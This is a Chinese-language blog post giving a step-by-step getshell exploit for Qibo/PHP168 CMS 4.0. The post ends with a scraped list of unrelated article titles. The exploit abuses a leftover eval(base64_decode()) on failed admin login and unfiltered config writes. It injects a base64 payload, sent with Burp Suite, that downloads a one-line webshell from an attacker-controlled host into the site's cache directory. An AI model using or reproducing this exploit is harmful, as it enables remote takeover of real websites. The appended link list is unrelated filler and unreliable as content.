Author:Codier

FROM:F4ck

0x001

在文件admin/global.php 有用户登录代码部分如下:if($rs==0){

login_logs($_POST[loginname],$_POST[loginpwd]);

setcookie("Admin",'',0,"/");

eval(base64_decode("Y$webdb[_Notice]"));

showmsg("用户不存在");

}elseif( $rs==-1 ){

由此可知 当用户不存在也就是输出错误用户名的时候会触发此代码eval(base64_decode("Y$webdb[_Notice]"));

$webdb[_Notice]此为配置项的参数,对应的配置数据库表为config表

在此我们调试打印一下 该参数

得到的结果如下:copy("http://www.php168.com/Notice/?url=$webdb[www_url]",PHP168_PATH."cache/Notice.php");

这是官方留下的通知么?可能是原php168的时候留下的吧 呵呵

试想一下如果

http://www.php168.com/Notice/?url=$webdb[www_url] 返回一个一句话呢。那么直接在admin/cache/目录下面生成 notice.php 一句话木马。

问题是此网站不受我们控制,那么我们得想办法在config表中修改配置项从而为我们所用。

0x002

接下来我们看一下配置文件的处理文件

该文件在admin/center.php

该函数中调用了 write_config_cache($webdbs); 来处理我们POST的内容

该 $webdbs 是一个数组

write_config_cache 该函数又回到了 admin/global.php 文件当中

简要内容如下:function write_config_cache($webdbs)

{

global $db,$pre;

if( is_array($webdbs) )

{

foreach($webdbs AS $key=>$value)

{

if(is_array($value))

{

$webdbs[$key]=$value=implode(",",$value);

}

$SQL2.="'$key',";

$SQL.="('$key', '$value', ''),";

}

$SQL=$SQL.";";

$SQL=str_Replace("'),;","')",$SQL);

echo " DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ";

echo " INSERT INTO `{$pre}config` VALUES $SQL ";

//exit();

$db->query(" DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') ");

$db->query(" INSERT INTO `{$pre}config` VALUES $SQL ");

}

此函数通过遍历 参数 $webdbs (数组),取其键值 然后拼装给$SQL2 变量。

然后通过$db->query(" DELETE FROM {$pre}config WHERE c_key IN ($SQL2'') "); in对这些key的值删除

通过$SQL.="('$key', '$value', ''),";//对需要插入的数据打包处理,然后再通过

$db->query(" INSERT INTO `{$pre}config` VALUES $SQL "); //进行插入。

在此之前全未对,无法配置的_Notice 进行过滤 。接下来就可以直接修改post包 更新其值了

0x003

首先我们来构造下eval(base64_decode("Y$webdb[_Notice]"));

copy("http://www.php168.com/Notice/?url=$webdb[www_url]",PHP168_PATH."cache/Notice.php");

在得到base64编码之后要去掉前面的Y,这是对函数名做限定么?

好的,我们就只改下网站就ok了。

在远程网站上写一个fuck.txt文本写入 一句话

对应的url为:http://www.a.com/exp/fuck.txt

然后

copy("http://www.a.com/exp/fuck.txt",PHP168_PATH."cache/Notice.php");

再对该 代码进行base64编码得到

Y29weSgiaHR0cDovL3d3dy5hLmNvbS9leHAvZnVjay50eHQiLFBIUDE2OF9QQVRI LiJjYWNoZS9Ob3RpY2UucGhwIik7

取Y后面的值 也就是

29weSgiaHR0cDovL3d3dy5hLmNvbS9leHAvZnVjay50eHQiLFBIUDE2OF9QQVRI LiJjYWNoZS9Ob3RpY2UucGhwIik7

上神器burpsuite 进行抓包,

然后加入该参数:

点击Go提交数据包。

查看一下数据库中的表

已经改为我们提交的恶意base64编码了。

0x004

现在我们来触发,由前面0x001知道到 当用户不存在也就是输出错误用户名的时候会触发此代码 。我们打开

http://www.a.com/v7/admin/global.php

输出不存在用户 ,记得这里要随便输出密码,密码无输出也不会触发。。

点击登录

提示用户不存在,然后再cache目录下面 notice.php 一句话已经静静的躺着了

齐博 4.0 ditu.inc.php,齐博系统全版本后台无限制可getshell相关推荐

  1. android7 miui8,MIUI8获更新 小米旗舰手机齐升Android7.0

    原标题:MIUI8获更新 小米旗舰手机齐升Android7.0 [刷机之家]由于小米的MIUI系统是Android系统经深度定制所得, 底层代码方面有着诸多优化,所以MIUI系统底包的升级速度会比较慢 ...

  2. 院士齐聚智造名城 2022全球智博会嘉宾阵容公布

    以"万物赋苏 智汇圆融"为主题的2022全球人工智能产品应用博览会(以下简称"全球智博会")已定于9月15日-17日在苏州这座"冉冉上升"的 ...

  3. 5分钟 0元搭建个人独立博客网站(二)

    文/北妈 阅读本文需要 5.1分钟 一 接着第一篇 5分钟建立独立网站系列,戳这里:<5分钟 0元搭建个人独立博客网站(一)> 这个Hexo.GitPages系列,其实网络很多教程,但都不 ...

  4. 【战国策】之《齐策·张仪为秦连横说齐王曰》

    张仪为秦连横说(shui)齐王曰:"天下强国,无过齐者:大臣父兄殷众富乐,无过齐者.然而,为大王计者,皆为一时说(yue)而不顾万世之利.从(zong)人说(shui)大王者,必谓'齐西有强 ...

  5. 什么是齐次,线性。什么是齐次微分方程,齐次线性微分方程

      齐次本质上是说对变量放大a倍的效果变成了放大其函数值aka^kak倍,f(ax1,ax2)=akf(x1,x2)f(ax_1,ax_2) = a^k f(x_1,x_2)f(ax1​,ax2​)= ...

  6. 第0周作业2:博客阅读和思考

    第0周作业2:博客阅读和思考 拿到题目的第一眼我是抗拒的,因为从大一开始就一直在回答各种关于"你为什么选择这个专业?","毕业后有怎样的打算?","想 ...

  7. 5分钟 0元搭建个人独立博客网站(一)

    文/北妈 阅读本文需要 3.5分钟 一 直接入正题,先看北妈个人博客地址:http://www.guoxiaobei.com 微信不允许加入外链,你只能复制去外部浏览器打开,或者看完文章在底部的 &q ...

  8. django model对象修改_从0到1搭建个人博客-Django(三)

    ​你好,我是goldsunC 让我们一起进步吧! 从0到1搭建个人博客-Django(三) 在以下链接快速回顾系列文章内容 从0到1搭建个人博客-Django(一) 从0到1搭建个人博客-Django ...

  9. 从0到1编写个人博客项目使用springboot+vue(前后端分离) 到 购买服务器上传项目 到 GitHub开源项目、此过程下所遇问题及解决方法,至少你帮你少走70%弯路

    个人博客编写 后记 2022.12.2.4 : 30.此项目告一段落. ​ 编撰此博客本意里除去对找工作的帮助.更多地是想帮助未走过的人去探探路.总结经验.少走弯路.知识的宝贵不在于无价.而是无私.天 ...

最新文章

  1. EXCEL 电子表格MID 返回值 不能用于计算的问题
  2. Python3之打印出map结果的print(list())用法
  3. go语言游戏编程初识--`Ebiten`
  4. 数论 —— 素性测试
  5. 【习题0】准备工作【第0天】
  6. Java学习笔记——常用类
  7. 高效的敏捷测试第十三课 自动化测试、用例测试、接口测试、大数据测试
  8. VBA—EXCEL操作集合—05
  9. Nacos指南-服务发现:删除服务
  10. 手机管家中的黑名单功能
  11. 巫师3储物箱在哪_巫师三孤岩宝箱在哪 | 手游网游页游攻略大全
  12. 嵌入式cc2530单片机ZigBee-题2控制led交替闪烁
  13. cgi/fastcgi停止工作
  14. windows10怎么卸载计算机,Win10怎么卸载声卡驱动?电脑声卡驱动怎么卸载?
  15. cmake: 使用jom实现msvc工程并发编译提高速度(-j)
  16. matlab2016a配置vs2013编译器
  17. QT 读ini配置文件
  18. NAS Ubuntu all in one软硬件方案
  19. Excel VBA:删除行、列或单元格
  20. Material Design之CollapsingToolbarLayout使用

热门文章

  1. 【MQ笔记】聊一聊空间(线性空间、赋范空间、度量空间、内积空间、欧氏空间、酉空间)
  2. Linux文件打补丁
  3. 《天龙八部》之《少年游》
  4. CSS 实战: Switch 按钮开关(checkbox 实现)
  5. 尺子英语怎么读计算机英语怎么读,尺子英语怎么读
  6. java基础之异常_繁星漫天_新浪博客
  7. C++ 异常 0xC0000005 访问冲突,exit code 0xC0000005 的解决方法
  8. 溱潼中学2021高考成绩查询,溱潼中学新学年校长寄语
  9. Keepalived+LVS+MariaDB Galera Cluster10.0高可用负载均衡多主复制
  10. 动态获取Bing每日壁纸